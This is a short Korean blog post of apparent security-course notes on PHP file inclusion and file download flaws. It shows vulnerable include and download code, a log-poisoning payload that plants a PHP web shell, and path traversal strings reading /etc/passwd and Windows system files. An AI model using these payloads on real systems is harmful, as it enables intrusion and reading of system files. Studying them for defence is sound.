정보보안 및 해킹/Normaltic's 취업반 강의

[15 WEEK] File Include & File Download

phantom0308 2024. 8. 28. 11:55

File Include

include기능을 이용한 취약점

include > include된 파일 안에 있는 모든 내용을 복사/붙여넣기 하듯이 기능을 그대로 실행하는 점을 이용

<?php
include($_GET['lang']);
?>

취약한 점

서버 측 코드는 서버에서 한 번 실행을 함

 

맹점

소스코드를 가져올 수 없음 > 서버에서 실행하기 때문

 

LFI(Local File Include)

파일을 올리지 않은 상태로 웹 로그를 이용한 취약점

 

어떻게?

주소 창에 실행하고자 하는 코드를 입력하여 로그에 남김

<?php system($_GET['cmd']); ?>

로그에 남긴 코드가 실행되도록 함

/opt/lampp/logs/accrss_log&cmd=ls

 

File Download

파일을 다운로드 시켜주는 서버 측 코드의 경로를 변경하여 루트 경로 등으로 접근하여 해당 소스코드를 다운로드 할 수 있는 취약점

download.php?fileName=test.txt

<?php
$fileName = $_GET['fileName'];
download('/files/'. $fileName);
?>

어떻게?

파일을 다운로드 받는 링크를 복사하여 해당 서버 측 코드에서 파일 명을 경로로 변경

download.php?fileName=test.txt
download.php?fileName = ../../../../../../../etc/passwd

 

취약한 점

소스코드를 실행할 수 없음

 

맹점

소스코드를 다운로드 할 수 있음 (분석해서 다른 취약점을 찾을 수 있음)

 

POC

Linux

/etc/passwd


Windows

/boot.ini
/winnt/win.ini
../../../../../../../../../boot.ini

 

대응 방안

File Download 대응방안은 File Upload 대응방안과 같음